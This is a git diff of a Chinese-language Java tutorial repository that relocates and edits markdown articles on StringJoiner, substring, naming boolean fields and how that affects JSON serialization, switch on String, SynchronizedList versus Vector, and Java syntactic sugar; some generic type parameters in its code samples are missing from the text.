+ List list = ImmutableList.of("Hollis","hollischuang","Java干货");
+
+
+如果我们想要把他拼接成一个以下形式的字符串:
+
+ Hollis,hollischuang,Java干货
+
+
+可以通过以下方式:
+
+ StringBuilder builder = new StringBuilder();
+
+ if (!list.isEmpty()) {
+ builder.append(list.get(0));
+ for (int i = 1, n = list.size(); i < n; i++) {
+ builder.append(",").append(list.get(i));
+ }
+ }
+ builder.toString();
+
+
+还可以使用:
+
+ list.stream().reduce(new StringBuilder(), (sb, s) -> sb.append(s).append(','), StringBuilder::append).toString();
+
+
+但是输出结果稍有些不同,需要进行二次处理:
+
+ Hollis,hollischuang,Java干货,
+
+
+还可以使用"+"进行拼接:
+
+ list.stream().reduce((a,b)->a + "," + b).toString();
+
+
+以上几种方式,要么是代码复杂,要么是性能不高,或者无法直接得到想要的结果。
+
+为了满足类似这样的需求,Java 8中提供的StringJoiner就派上用场了。以上需求只需要一行代码:
+
+ list.stream().collect(Collectors.joining(":"))
+
+
+即可。上面用的表达式中,Collectors.joining的源代码如下:
+
+ public static Collector joining(CharSequence delimiter,
+ CharSequence prefix,
+ CharSequence suffix) {
+ return new CollectorImpl<>(
+ () -> new StringJoiner(delimiter, prefix, suffix),
+ StringJoiner::add, StringJoiner::merge,
+ StringJoiner::toString, CH_NOID);
+ }
+
+
+其实现原理就是借助了StringJoiner。
+
+当然,或许在`Collector`中直接使用`StringBuilder`似乎也可以实现类似的功能,只不过稍微麻烦一些。所以,Java 8中提供了`StringJoiner`来丰富`Stream`的用法。
+
+而且`StringJoiner`也可以方便的增加前缀和后缀,比如我们希望得到的字符串是`[Hollis,hollischuang,Java干货]`而不是`Hollis,hollischuang,Java`干货的话,StringJoiner的优势就更加明显了。
+
+### 总结
+
+本文介绍了Java 8中提供的可变字符串类——StringJoiner,可以用于字符串拼接。
+
+StringJoiner其实是通过StringBuilder实现的,所以他的性能和StringBuilder差不多,他也是非线程安全的。
+
+如果日常开发中中,需要进行字符串拼接,如何选择?
+
+1、如果只是简单的字符串拼接,考虑直接使用"+"即可。
+
+2、如果是在for循环中进行字符串拼接,考虑使用`StringBuilder`和`StringBuffer`。
+
+3、如果是通过一个`List`进行字符串拼接,则考虑使用`StringJoiner`。
+
+ [1]: http://www.hollischuang.com/archives/3186
+ [2]: http://www.hollischuang.com/wp-content/uploads/2019/02/15508994967943.jpg
+ [3]: https://docs.oracle.com/javase/8/docs/api/java/util/StringJoiner.html
\ No newline at end of file
diff --git a/basics/java-basic/substring.md b/docs/basics/java-basic/substring.md
similarity index 94%
rename from basics/java-basic/substring.md
rename to docs/basics/java-basic/substring.md
index d8bbeb94..101f97d2 100644
--- a/basics/java-basic/substring.md
+++ b/docs/basics/java-basic/substring.md
@@ -1,4 +1,6 @@
-String是Java中一个比较基础的类,每一个开发人员都会经常接触到。而且,String也是面试中经常会考的知识点。String有很多方法,有些方法比较常用,有些方法不太常用。今天要介绍的subString就是一个比较常用的方法,而且围绕subString也有很多面试题。
+String是Java中一个比较基础的类,每一个开发人员都会经常接触到。而且,String也是面试中经常会考的知识点。
+
+String有很多方法,有些方法比较常用,有些方法不太常用。今天要介绍的substring就是一个比较常用的方法,而且围绕substring也有很多面试题。
`substring(int beginIndex, int endIndex)`方法在不同版本的JDK中的实现是不同的。了解他们的区别可以帮助你更好的使用他。为简单起见,后文中用`substring()`代表`substring(int beginIndex, int endIndex)`方法。
@@ -87,4 +89,4 @@ Java源码中关于这部分的主要代码如下:
[1]: http://www.programcreek.com/wp-content/uploads/2013/09/string-immutability1-650x303.jpeg
[2]: http://www.programcreek.com/wp-content/uploads/2013/09/string-substring-jdk6-650x389.jpeg
- [3]: http://www.programcreek.com/wp-content/uploads/2013/09/string-substring-jdk71-650x389.jpeg
\ No newline at end of file
+ [3]: http://www.programcreek.com/wp-content/uploads/2013/09/string-substring-jdk71-650x389.jpeg
diff --git a/docs/basics/java-basic/success-isSuccess-and-boolean-Boolean.md b/docs/basics/java-basic/success-isSuccess-and-boolean-Boolean.md
new file mode 100644
index 00000000..12668987
--- /dev/null
+++ b/docs/basics/java-basic/success-isSuccess-and-boolean-Boolean.md
@@ -0,0 +1,310 @@
+在日常开发中,我们会经常要在类中定义布尔类型的变量,比如在给外部系统提供一个RPC接口的时候,我们一般会定义一个字段表示本次请求是否成功的。
+
+关于这个"本次请求是否成功"的字段的定义,其实是有很多种讲究和坑的,稍有不慎就会掉入坑里,作者在很久之前就遇到过类似的问题,本文就来围绕这个简单分析一下。到底该如何定一个布尔类型的成员变量。
+
+一般情况下,我们可以有以下四种方式来定义一个布尔类型的成员变量:
+
+ boolean success
+ boolean isSuccess
+ Boolean success
+ Boolean isSuccess
+
+
+以上四种定义形式,你日常开发中最常用的是哪种呢?到底哪一种才是正确的使用姿势呢?
+
+通过观察我们可以发现,前两种和后两种的主要区别是变量的类型不同,前者使用的是boolean,后者使用的是Boolean。
+
+另外,第一种和第三种在定义变量的时候,变量命名是success,而另外两种使用isSuccess来命名的。
+
+首先,我们来分析一下,到底应该是用success来命名,还是使用isSuccess更好一点。
+
+### success 还是 isSuccess
+
+到底应该是用success还是isSuccess来给变量命名呢?从语义上面来讲,两种命名方式都可以讲的通,并且也都没有歧义。那么还有什么原则可以参考来让我们做选择呢。
+
+在阿里巴巴Java开发手册中关于这一点,有过一个『强制性』规定:
+
+![-w656][1]
+
+那么,为什么会有这样的规定呢?我们看一下POJO中布尔类型变量不同的命名有什么区别吧。
+
+ class Model1 {
+ private Boolean isSuccess;
+ public void setSuccess(Boolean success) {
+ isSuccess = success;
+ }
+ public Boolean getSuccess() {
+ return isSuccess;
+ }
+ }
+
+ class Model2 {
+ private Boolean success;
+ public Boolean getSuccess() {
+ return success;
+ }
+ public void setSuccess(Boolean success) {
+ this.success = success;
+ }
+ }
+
+ class Model3 {
+ private boolean isSuccess;
+ public boolean isSuccess() {
+ return isSuccess;
+ }
+ public void setSuccess(boolean success) {
+ isSuccess = success;
+ }
+ }
+
+ class Model4 {
+ private boolean success;
+ public boolean isSuccess() {
+ return success;
+ }
+ public void setSuccess(boolean success) {
+ this.success = success;
+ }
+ }
+
+
+以上代码的setter/getter是使用Intellij IDEA自动生成的,仔细观察以上代码,你会发现以下规律:
+
+* 基本类型自动生成的getter和setter方法,名称都是`isXXX()`和`setXXX()`形式的。
+* 包装类型自动生成的getter和setter方法,名称都是`getXXX()`和`setXXX()`形式的。
+
+既然,我们已经达成一致共识使用基本类型boolean来定义成员变量了,那么我们再来具体看下Model3和Model4中的setter/getter有何区别。
+
+我们可以发现,虽然Model3和Model4中的成员变量的名称不同,一个是success,另外一个是isSuccess,但是他们自动生成的getter和setter方法名称都是`isSuccess`和`setSuccess`。
+
+**Java Bean中关于setter/getter的规范**
+
+关于Java Bean中的getter/setter方法的定义其实是有明确的规定的,根据[JavaBeans(TM) Specification][2]规定,如果是普通的参数propertyName,要以以下方式定义其setter/getter:
+
+ public get();
+ public void set( a);
+
+
+但是,布尔类型的变量propertyName则是单独定义的:
+
+ public boolean is();
+ public void set(boolean m);
+
+
+![-w687][3]
+
+通过对照这份JavaBeans规范,我们发现,在Model4中,变量名为isSuccess,如果严格按照规范定义的话,他的getter方法应该叫isIsSuccess。但是很多IDE都会默认生成为isSuccess。
+
+那这样做会带来什么问题呢。
+
+在一般情况下,其实是没有影响的。但是有一种特殊情况就会有问题,那就是发生序列化的时候。
+
+**序列化带来的影响**
+
+关于序列化和反序列化请参考[Java对象的序列化与反序列化][4]。我们这里拿比较常用的JSON序列化来举例,看看看常用的fastJson、jackson和Gson之间有何区别:
+
+ public class BooleanMainTest {
+
+ public static void main(String[] args) throws IOException {
+ //定一个Model3类型
+ Model3 model3 = new Model3();
+ model3.setSuccess(true);
+
+ //使用fastjson(1.2.16)序列化model3成字符串并输出
+ System.out.println("Serializable Result With fastjson :" + JSON.toJSONString(model3));
+
+ //使用Gson(2.8.5)序列化model3成字符串并输出
+ Gson gson =new Gson();
+ System.out.println("Serializable Result With Gson :" +gson.toJson(model3));
+
+ //使用jackson(2.9.7)序列化model3成字符串并输出
+ ObjectMapper om = new ObjectMapper();
+ System.out.println("Serializable Result With jackson :" +om.writeValueAsString(model3));
+ }
+
+ }
+
+ class Model3 implements Serializable {
+
+ private static final long serialVersionUID = 1836697963736227954L;
+ private boolean isSuccess;
+ public boolean isSuccess() {
+ return isSuccess;
+ }
+ public void setSuccess(boolean success) {
+ isSuccess = success;
+ }
+ public String getHollis(){
+ return "hollischuang";
+ }
+ }
+
+
+以上代码的Model3中,只有一个成员变量即isSuccess,三个方法,分别是IDE帮我们自动生成的isSuccess和setSuccess,另外一个是作者自己增加的一个符合getter命名规范的方法。
+
+以上代码输出结果:
+
+ Serializable Result With fastjson :{"hollis":"hollischuang","success":true}
+ Serializable Result With Gson :{"isSuccess":true}
+ Serializable Result With jackson :{"success":true,"hollis":"hollischuang"}
+
+
+在fastjson和jackson的结果中,原来类中的isSuccess字段被序列化成success,并且其中还包含hollis值。而Gson中只有isSuccess字段。
+
+我们可以得出结论:fastjson和jackson在把对象序列化成json字符串的时候,是通过反射遍历出该类中的所有getter方法,得到getHollis和isSuccess,然后根据JavaBeans规则,他会认为这是两个属性hollis和success的值。直接序列化成json:{"hollis":"hollischuang","success":true}
+
+但是Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json:{"isSuccess":true}
+
+可以看到,由于不同的序列化工具,在进行序列化的时候使用到的策略是不一样的,所以,对于同一个类的同一个对象的序列化结果可能是不同的。
+
+前面提到的关于对getHollis的序列化只是为了说明fastjson、jackson和Gson之间的序列化策略的不同,我们暂且把他放到一边,我们把他从Model3中删除后,重新执行下以上代码,得到结果:
+
+ Serializable Result With fastjson :{"success":true}
+ Serializable Result With Gson :{"isSuccess":true}
+ Serializable Result With jackson :{"success":true}
+
+
+现在,不同的序列化框架得到的json内容并不相同,如果对于同一个对象,我使用fastjson进行序列化,再使用Gson反序列化会发生什么?
+
+ public class BooleanMainTest {
+ public static void main(String[] args) throws IOException {
+ Model3 model3 = new Model3();
+ model3.setSuccess(true);
+ Gson gson =new Gson();
+ System.out.println(gson.fromJson(JSON.toJSONString(model3),Model3.class));
+ }
+ }
+
+
+ class Model3 implements Serializable {
+ private static final long serialVersionUID = 1836697963736227954L;
+ private boolean isSuccess;
+ public boolean isSuccess() {
+ return isSuccess;
+ }
+ public void setSuccess(boolean success) {
+ isSuccess = success;
+ }
+ @Override
+ public String toString() {
+ return new StringJoiner(", ", Model3.class.getSimpleName() + "[", "]")
+ .add("isSuccess=" + isSuccess)
+ .toString();
+ }
+ }
+
+
+以上代码,输出结果:
+
+ Model3[isSuccess=false]
+
+
+这和我们预期的结果完全相反,原因是因为JSON框架通过扫描所有的getter后发现有一个isSuccess方法,然后根据JavaBeans的规范,解析出变量名为success,把model对象序列化城字符串后内容为`{"success":true}`。
+
+根据`{"success":true}`这个json串,Gson框架在通过解析后,通过反射寻找Model类中的success属性,但是Model类中只有isSuccess属性,所以,最终反序列化后的Model类的对象中,isSuccess则会使用默认值false。
+
+但是,一旦以上代码发生在生产环境,这绝对是一个致命的问题。
+
+所以,作为开发者,我们应该想办法尽量避免这种问题的发生,对于POJO的设计者来说,只需要做简单的一件事就可以解决这个问题了,那就是把isSuccess改为success。这样,该类里面的成员变量时success,getter方法是isSuccess,这是完全符合JavaBeans规范的。无论哪种序列化框架,执行结果都一样。就从源头避免了这个问题。
+
+引用以下R大关于阿里巴巴Java开发手册这条规定的评价(https://www.zhihu.com/question/55642203 ):
+
+![-w665][5]
+
+所以,**在定义POJO中的布尔类型的变量时,不要使用isSuccess这种形式,而要直接使用success!**
+
+### Boolean还是boolean
+
+前面我们介绍完了在success和isSuccess之间如何选择,那么排除错误答案后,备选项还剩下:
+
+ boolean success
+ Boolean success
+
+
+那么,到底应该是用Boolean还是boolean来给定一个布尔类型的变量呢?
+
+我们知道,boolean是基本数据类型,而Boolean是包装类型。关于基本数据类型和包装类之间的关系和区别请参考[一文读懂什么是Java中的自动拆装箱][6]
+
+那么,在定义一个成员变量的时候到底是使用包装类型更好还是使用基本数据类型呢?
+
+我们来看一段简单的代码
+
+ /**
+ * @author Hollis
+ */
+ public class BooleanMainTest {
+ public static void main(String[] args) {
+ Model model1 = new Model();
+ System.out.println("default model : " + model1);
+ }
+ }
+
+ class Model {
+ /**
+ * 定一个Boolean类型的success成员变量
+ */
+ private Boolean success;
+ /**
+ * 定一个boolean类型的failure成员变量
+ */
+ private boolean failure;
+
+ /**
+ * 覆盖toString方法,使用Java 8 的StringJoiner
+ */
+ @Override
+ public String toString() {
+ return new StringJoiner(", ", Model.class.getSimpleName() + "[", "]")
+ .add("success=" + success)
+ .add("failure=" + failure)
+ .toString();
+ }
+ }
+
+
+以上代码输出结果为:
+
+ default model : Model[success=null, failure=false]
+
+
+可以看到,当我们没有设置Model对象的字段的值的时候,Boolean类型的变量会设置默认值为`null`,而boolean类型的变量会设置默认值为`false`。
+
+即对象的默认值是`null`,boolean基本数据类型的默认值是`false`。
+
+在阿里巴巴Java开发手册中,对于POJO中如何选择变量的类型也有着一些规定:
+
+
+
+这里建议我们使用包装类型,原因是什么呢?
+
+举一个扣费的例子,我们做一个扣费系统,扣费时需要从外部的定价系统中读取一个费率的值,我们预期该接口的返回值中会包含一个浮点型的费率字段。当我们取到这个值得时候就使用公式:金额*费率=费用 进行计算,计算结果进行划扣。
+
+如果由于计费系统异常,他可能会返回个默认值,如果这个字段是Double类型的话,该默认值为null,如果该字段是double类型的话,该默认值为0.0。
+
+如果扣费系统对于该费率返回值没做特殊处理的话,拿到null值进行计算会直接报错,阻断程序。拿到0.0可能就直接进行计算,得出接口为0后进行扣费了。这种异常情况就无法被感知。
+
+这种使用包装类型定义变量的方式,通过异常来阻断程序,进而可以被识别到这种线上问题。如果使用基本数据类型的话,系统可能不会报错,进而认为无异常。
+
+**以上,就是建议在POJO和RPC的返回值中使用包装类型的原因。**
+
+但是关于这一点,作者之前也有过不同的看法:对于布尔类型的变量,我认为可以和其他类型区分开来,作者并不认为使用null进而导致NPE是一种最好的实践。因为布尔类型只有true/false两种值,我们完全可以和外部调用方约定好当返回值为false时的明确语义。
+
+后来,作者单独和《阿里巴巴Java开发手册》、《码出高效》的作者——孤尽 单独1V1(qing) Battle(jiao)了一下。最终达成共识,还是**尽量使用包装类型**。
+
+**但是,作者还是想强调一个我的观点,尽量避免在你的代码中出现不确定的null值。**
+
+
+### 总结
+
+本文围绕布尔类型的变量定义的类型和命名展开了介绍,最终我们可以得出结论,在定义一个布尔类型的变量,尤其是一个给外部提供的接口返回值时,要使用success来命名,阿里巴巴Java开发手册建议使用封装类来定义POJO和RPC返回值中的变量。但是这不意味着可以随意的使用null,我们还是要尽量避免出现对null的处理的。
+
+ [1]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449439364854.jpg
+ [2]: https://download.oracle.com/otndocs/jcp/7224-javabeans-1.01-fr-spec-oth-JSpec/
+ [3]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449455942045.jpg
+ [4]: http://www.hollischuang.com/archives/1150
+ [5]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449492627754.jpg
+ [6]: http://www.hollischuang.com/archives/2700
+ [7]: http://www.hollischuang.com/archives/883
+ [8]: http://www.hollischuang.com/archives/74
+ [9]: http://www.hollischuang.com/wp-content/uploads/2018/12/15449430847727.jpg
diff --git a/basics/java-basic/switch-string.md b/docs/basics/java-basic/switch-string.md
similarity index 97%
rename from basics/java-basic/switch-string.md
rename to docs/basics/java-basic/switch-string.md
index 1498aab7..067e7ad4 100644
--- a/basics/java-basic/switch-string.md
+++ b/docs/basics/java-basic/switch-string.md
@@ -1,7 +1,5 @@
Java 7中,switch的参数可以是String类型了,这对我们来说是一个很方便的改进。到目前为止switch支持这样几种数据类型:`byte` `short` `int` `char` `String` 。但是,作为一个程序员我们不仅要知道他有多么好用,还要知道它是如何实现的,switch对整型的支持是怎么实现的呢?对字符型是怎么实现的呢?String类型呢?有一点Java开发经验的人这个时候都会猜测switch对String的支持是使用equals()方法和hashcode()方法。那么到底是不是这两个方法呢?接下来我们就看一下,switch到底是如何实现的。
-
-
### 一、switch对整型支持的实现
下面是一段很简单的Java代码,定义一个int型变量a,然后使用switch语句进行判断。执行这段代码输出内容为5,那么我们将下面这段代码反编译,看看他到底是怎么实现的。
@@ -71,7 +69,7 @@ Java 7中,switch的参数可以是String类型了,这对我们来说是一
}
-编译后的代码如下: `public class switchDemoChar
+编译后的代码如下:
public class switchDemoChar
{
@@ -147,4 +145,4 @@ Java 7中,switch的参数可以是String类型了,这对我们来说是一
看到这个代码,你知道原来字符串的switch是通过`equals()`和`hashCode()`方法来实现的。**记住,switch中只能使用整型**,比如`byte`。`short`,`char`(ackii码是整型)以及`int`。还好`hashCode()`方法返回的是`int`,而不是`long`。通过这个很容易记住`hashCode`返回的是`int`这个事实。仔细看下可以发现,进行`switch`的实际是哈希值,然后通过使用equals方法比较进行安全检查,这个检查是必要的,因为哈希可能会发生碰撞。因此它的性能是不如使用枚举进行switch或者使用纯整数常量,但这也不是很差。因为Java编译器只增加了一个`equals`方法,如果你比较的是字符串字面量的话会非常快,比如”abc” ==”abc”。如果你把`hashCode()`方法的调用也考虑进来了,那么还会再多一次的调用开销,因为字符串一旦创建了,它就会把哈希值缓存起来。因此如果这个`switch`语句是用在一个循环里的,比如逐项处理某个值,或者游戏引擎循环地渲染屏幕,这里`hashCode()`方法的调用开销其实不会很大。
-好,以上就是关于switch对整型、字符型、和字符串型的支持的实现方式,总结一下我们可以发现,**其实switch只支持一种数据类型,那就是整型,其他数据类型都是转换成整型之后在使用switch的。**
+好,以上就是关于switch对整型、字符型、和字符串型的支持的实现方式,总结一下我们可以发现,**其实switch只支持一种数据类型,那就是整型,其他数据类型都是转换成整型之后再使用switch的。**
diff --git a/basics/java-basic/synchronized-vs-asynchronization.md b/docs/basics/java-basic/synchronized-vs-asynchronization.md
similarity index 98%
rename from basics/java-basic/synchronized-vs-asynchronization.md
rename to docs/basics/java-basic/synchronized-vs-asynchronization.md
index d3cded25..79fd30cf 100644
--- a/basics/java-basic/synchronized-vs-asynchronization.md
+++ b/docs/basics/java-basic/synchronized-vs-asynchronization.md
@@ -20,5 +20,5 @@
3 老张把响水壶放到火上,一直在水壶旁等着水开。(异步阻塞)
4 老张把响水壶放到火上,去客厅看电视,水壶响之前不再去看它了,响了再去拿壶。(异步非阻塞)
-1和2的区别是,调用方在得到返回之前所做的事情不一行。
-1和3的区别是,被调用方对于烧水的处理不一样。
\ No newline at end of file
+1和2的区别是,调用方在得到返回之前所做的事情不一样。
+1和3的区别是,被调用方对于烧水的处理不一样。
diff --git a/basics/java-basic/synchronizedlist-vector.md b/docs/basics/java-basic/synchronizedlist-vector.md
similarity index 93%
rename from basics/java-basic/synchronizedlist-vector.md
rename to docs/basics/java-basic/synchronizedlist-vector.md
index 4da3300f..a673eb7d 100644
--- a/basics/java-basic/synchronizedlist-vector.md
+++ b/docs/basics/java-basic/synchronizedlist-vector.md
@@ -128,9 +128,15 @@ ArrayList类的remove方法内容如下:
> 从内部实现机制来讲ArrayList和Vector都是使用数组(Array)来控制集合中的对象。当你向这两种类型中增加元素的时候,如果元素的数目超出了内部数组目前的长度它们都需要扩展内部数组的长度,Vector缺省情况下自动增长原来一倍的数组长度,ArrayList是原来的50%,所以最后你获得的这个集合所占的空间总是比你实际需要的要大。所以如果你要在集合中保存大量的数据那么使用Vector有一些优势,因为你可以通过设置集合的初始化大小来避免不必要的资源开销。
-**同步代码块和同步方法的区别** 1.同步代码块在锁定的范围上可能比同步方法要小,一般来说锁的范围大小和性能是成反比的。 2.同步块可以更加精确的控制锁的作用域(锁的作用域就是从锁被获取到其被释放的时间),同步方法的锁的作用域就是整个方法。 3.静态代码块可以选择对哪个对象加锁,但是静态方法只能给this对象加锁。
+**同步代码块和同步方法的区别**
-> 因为SynchronizedList只是使用同步代码块包裹了ArrayList的方法,而ArrayList和Vector中同名方法的方法体内容并无太大差异,所以在锁定范围和锁的作用域上两者并无却别。 在锁定的对象区别上,SynchronizedList的同步代码块锁定的是mutex对象,Vector锁定的是this对象。那么mutex对象又是什么呢? 其实SynchronizedList有一个构造函数可以传入一个Object,如果在调用的时候显示的传入一个对象,那么锁定的就是用户传入的对象。如果没有指定,那么锁定的也是this对象。
+1.同步代码块在锁定的范围上可能比同步方法要小,一般来说锁的范围大小和性能是成反比的。
+
+2.同步块可以更加精确的控制锁的作用域(锁的作用域就是从锁被获取到其被释放的时间),同步方法的锁的作用域就是整个方法。
+
+3.同步代码块可以选择对哪个对象加锁,但是静态方法只能给this对象加锁。
+
+> 因为SynchronizedList只是使用同步代码块包裹了ArrayList的方法,而ArrayList和Vector中同名方法的方法体内容并无太大差异,所以在锁定范围和锁的作用域上两者并无区别。 在锁定的对象区别上,SynchronizedList的同步代码块锁定的是mutex对象,Vector锁定的是this对象。那么mutex对象又是什么呢? 其实SynchronizedList有一个构造函数可以传入一个Object,如果在调用的时候显示的传入一个对象,那么锁定的就是用户传入的对象。如果没有指定,那么锁定的也是this对象。
所以,SynchronizedList和Vector的区别目前为止有两点: 1.如果使用add方法,那么他们的扩容机制不一样。 2.SynchronizedList可以指定锁定的对象。
@@ -140,4 +146,4 @@ ArrayList类的remove方法内容如下:
之前的比较都是基于我们将ArrayList转成SynchronizedList。那么如果我们想把LinkedList变成线程安全的,或者说我想要方便在中间插入和删除的同步的链表,那么我可以将已有的LinkedList直接转成 SynchronizedList,而不用改变他的底层数据结构。而这一点是Vector无法做到的,因为他的底层结构就是使用数组实现的,这个是无法更改的。
-所以,最后,SynchronizedList和Vector最主要的区别: **1\.SynchronizedList有很好的扩展和兼容功能。他可以将所有的List的子类转成线程安全的类。** **2\.使用SynchronizedList的时候,进行遍历时要手动进行同步处理**。 **3\.SynchronizedList可以指定锁定的对象。**
\ No newline at end of file
+所以,最后,SynchronizedList和Vector最主要的区别: **1\.SynchronizedList有很好的扩展和兼容功能。他可以将所有的List的子类转成线程安全的类。** **2\.使用SynchronizedList的时候,进行遍历时要手动进行同步处理**。 **3\.SynchronizedList可以指定锁定的对象。**
diff --git a/docs/basics/java-basic/syntactic-sugar.md b/docs/basics/java-basic/syntactic-sugar.md
new file mode 100644
index 00000000..fb2a1471
--- /dev/null
+++ b/docs/basics/java-basic/syntactic-sugar.md
@@ -0,0 +1,767 @@
+
+
+语法糖(Syntactic Sugar),也称糖衣语法,是由英国计算机学家 Peter.J.Landin 发明的一个术语,指在计算机语言中添加的某种语法,这种语法对语言的功能并没有影响,但是更方便程序员使用。
+
+本 Chat 从 Java 编译原理角度,深入字节码及 class 文件,抽丝剥茧,了解 Java 中的语法糖原理及用法,帮助大家在学会如何使用 Java 语法糖的同时,了解这些语法糖背后的原理,主要内容如下:
+
+什么是语法糖 糖块一 —— switch 支持 String 与枚举 糖块二 —— 泛型与类型擦除 糖块三 —— 自动装箱与拆箱 ...... 糖块十一 —— try-with-resource 糖块十二 —— lambda 表达式 糖衣炮弹 —— 语法糖使用过程中需要注意的点 综合应用
+
+
+### 语法糖
+
+语法糖(Syntactic Sugar),也称糖衣语法,是由英国计算机学家 Peter.J.Landin 发明的一个术语,指在计算机语言中添加的某种语法,这种语法对语言的功能并没有影响,但是更方便程序员使用。简而言之,语法糖让程序更加简洁,有更高的可读性。
+
+> 有意思的是,在编程领域,除了语法糖,还有语法盐和语法糖精的说法,篇幅有限这里不做扩展了。
+
+我们所熟知的编程语言中几乎都有语法糖。作者认为,语法糖的多少是评判一个语言够不够牛逼的标准之一。很多人说Java是一个“低糖语言”,其实从Java 7开始Java语言层面上一直在添加各种糖,主要是在“Project Coin”项目下研发。尽管现在Java有人还是认为现在的Java是低糖,未来还会持续向着“高糖”的方向发展。
+
+### 解语法糖
+
+前面提到过,语法糖的存在主要是方便开发人员使用。但其实,Java虚拟机并不支持这些语法糖。这些语法糖在编译阶段就会被还原成简单的基础语法结构,这个过程就是解语法糖。
+
+说到编译,大家肯定都知道,Java语言中,`javac`命令可以将后缀名为`.java`的源文件编译为后缀名为`.class`的可以运行于Java虚拟机的字节码。如果你去看`com.sun.tools.javac.main.JavaCompiler`的源码,你会发现在`compile()`中有一个步骤就是调用`desugar()`,这个方法就是负责解语法糖的实现的。
+
+Java 中最常用的语法糖主要有泛型、变长参数、条件编译、自动拆装箱、内部类等。本文主要来分析下这些语法糖背后的原理。一步一步剥去糖衣,看看其本质。
+
+### 糖块一、 switch 支持 String 与枚举
+
+前面提到过,从Java 7 开始,Java语言中的语法糖在逐渐丰富,其中一个比较重要的就是Java 7中`switch`开始支持`String`。
+
+在开始coding之前先科普下,Java中的`switch`自身原本就支持基本类型。比如`int`、`char`等。对于`int`类型,直接进行数值的比较。对于`char`类型则是比较其ascii码。所以,对于编译器来说,`switch`中其实只能使用整型,任何类型的比较都要转换成整型。比如`byte`。`short`,`char`(ackii码是整型)以及`int`。
+
+那么接下来看下`switch`对`String`得支持,有以下代码:
+
+ public class switchDemoString {
+ public static void main(String[] args) {
+ String str = "world";
+ switch (str) {
+ case "hello":
+ System.out.println("hello");
+ break;
+ case "world":
+ System.out.println("world");
+ break;
+ default:
+ break;
+ }
+ }
+ }
+
+
+[反编译][1]后内容如下:
+
+ public class switchDemoString
+ {
+ public switchDemoString()
+ {
+ }
+ public static void main(String args[])
+ {
+ String str = "world";
+ String s;
+ switch((s = str).hashCode())
+ {
+ default:
+ break;
+ case 99162322:
+ if(s.equals("hello"))
+ System.out.println("hello");
+ break;
+ case 113318802:
+ if(s.equals("world"))
+ System.out.println("world");
+ break;
+ }
+ }
+ }
+
+
+看到这个代码,你知道原来**字符串的switch是通过`equals()`和`hashCode()`方法来实现的。**还好`hashCode()`方法返回的是`int`,而不是`long`。
+
+> 仔细看下可以发现,进行`switch`的实际是哈希值,然后通过使用`equals`方法比较进行安全检查,这个检查是必要的,因为哈希可能会发生碰撞。因此它的性能是不如使用枚举进行switch或者使用纯整数常量,但这也不是很差。
+
+### 糖块二、 泛型
+
+我们都知道,很多语言都是支持泛型的,但是很多人不知道的是,不同的编译器对于泛型的处理方式是不同的,通常情况下,一个编译器处理泛型有两种方式:`Code specialization`和`Code sharing`。C++和C#是使用`Code specialization`的处理机制,而Java使用的是`Code sharing`的机制。
+
+> Code sharing方式为每个泛型类型创建唯一的字节码表示,并且将该泛型类型的实例都映射到这个唯一的字节码表示上。将多种泛型类形实例映射到唯一的字节码表示是通过类型擦除(`type erasue`)实现的。
+
+也就是说,**对于Java虚拟机来说,他根本不认识`Map map`这样的语法。需要在编译阶段通过类型擦除的方式进行解语法糖。**
+
+类型擦除的主要过程如下: 1.将所有的泛型参数用其最左边界(最顶级的父类型)类型替换。 2.移除所有的类型参数。
+
+以下代码:
+
+ Map map = new HashMap();
+ map.put("name", "hollis");
+ map.put("wechat", "Hollis");
+ map.put("blog", "www.hollischuang.com");
+
+
+解语法糖之后会变成:
+
+ Map map = new HashMap();
+ map.put("name", "hollis");
+ map.put("wechat", "Hollis");
+ map.put("blog", "www.hollischuang.com");
+
+
+以下代码:
+
+ public static > A max(Collection xs) {
+ Iterator xi = xs.iterator();
+ A w = xi.next();
+ while (xi.hasNext()) {
+ A x = xi.next();
+ if (w.compareTo(x) < 0)
+ w = x;
+ }
+ return w;
+ }
+
+
+类型擦除后会变成:
+
+ public static Comparable max(Collection xs){
+ Iterator xi = xs.iterator();
+ Comparable w = (Comparable)xi.next();
+ while(xi.hasNext())
+ {
+ Comparable x = (Comparable)xi.next();
+ if(w.compareTo(x) < 0)
+ w = x;
+ }
+ return w;
+ }
+
+
+**虚拟机中没有泛型,只有普通类和普通方法,所有泛型类的类型参数在编译时都会被擦除,泛型类并没有自己独有的`Class`类对象。比如并不存在`List.class`或是`List.class`,而只有`List.class`。**
+
+### 糖块三、 自动装箱与拆箱
+
+自动装箱就是Java自动将原始类型值转换成对应的对象,比如将int的变量转换成Integer对象,这个过程叫做装箱,反之将Integer对象转换成int类型值,这个过程叫做拆箱。因为这里的装箱和拆箱是自动进行的非人为转换,所以就称作为自动装箱和拆箱。原始类型byte, short, char, int, long, float, double 和 boolean 对应的封装类为Byte, Short, Character, Integer, Long, Float, Double, Boolean。
+
+先来看个自动装箱的代码:
+
+ public static void main(String[] args) {
+ int i = 10;
+ Integer n = i;
+ }
+
+
+反编译后代码如下:
+
+ public static void main(String args[])
+ {
+ int i = 10;
+ Integer n = Integer.valueOf(i);
+ }
+
+
+再来看个自动拆箱的代码:
+
+ public static void main(String[] args) {
+
+ Integer i = 10;
+ int n = i;
+ }
+
+
+反编译后代码如下:
+
+ public static void main(String args[])
+ {
+ Integer i = Integer.valueOf(10);
+ int n = i.intValue();
+ }
+
+
+从反编译得到内容可以看出,在装箱的时候自动调用的是`Integer`的`valueOf(int)`方法。而在拆箱的时候自动调用的是`Integer`的`intValue`方法。
+
+所以,**装箱过程是通过调用包装器的valueOf方法实现的,而拆箱过程是通过调用包装器的 xxxValue方法实现的。**
+
+### 糖块四 、 方法变长参数
+
+可变参数(`variable arguments`)是在Java 1.5中引入的一个特性。它允许一个方法把任意数量的值作为参数。
+
+看下以下可变参数代码,其中print方法接收可变参数:
+
+ public static void main(String[] args)
+ {
+ print("Holis", "公众号:Hollis", "博客:www.hollischuang.com", "QQ:907607222");
+ }
+
+ public static void print(String... strs)
+ {
+ for (int i = 0; i < strs.length; i++)
+ {
+ System.out.println(strs[i]);
+ }
+ }
+
+
+反编译后代码:
+
+ public static void main(String args[])
+ {
+ print(new String[] {
+ "Holis", "\u516C\u4F17\u53F7:Hollis", "\u535A\u5BA2\uFF1Awww.hollischuang.com", "QQ\uFF1A907607222"
+ });
+ }
+
+ public static transient void print(String strs[])
+ {
